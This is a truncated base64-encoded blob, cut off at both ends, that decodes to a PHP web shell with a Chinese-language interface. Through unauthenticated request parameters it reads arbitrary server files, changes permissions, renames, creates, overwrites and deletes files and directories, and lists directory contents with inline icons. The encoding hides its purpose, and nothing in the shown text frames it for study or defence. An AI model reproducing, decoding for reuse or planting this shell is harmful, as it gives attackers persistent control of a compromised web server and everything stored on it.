lwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWova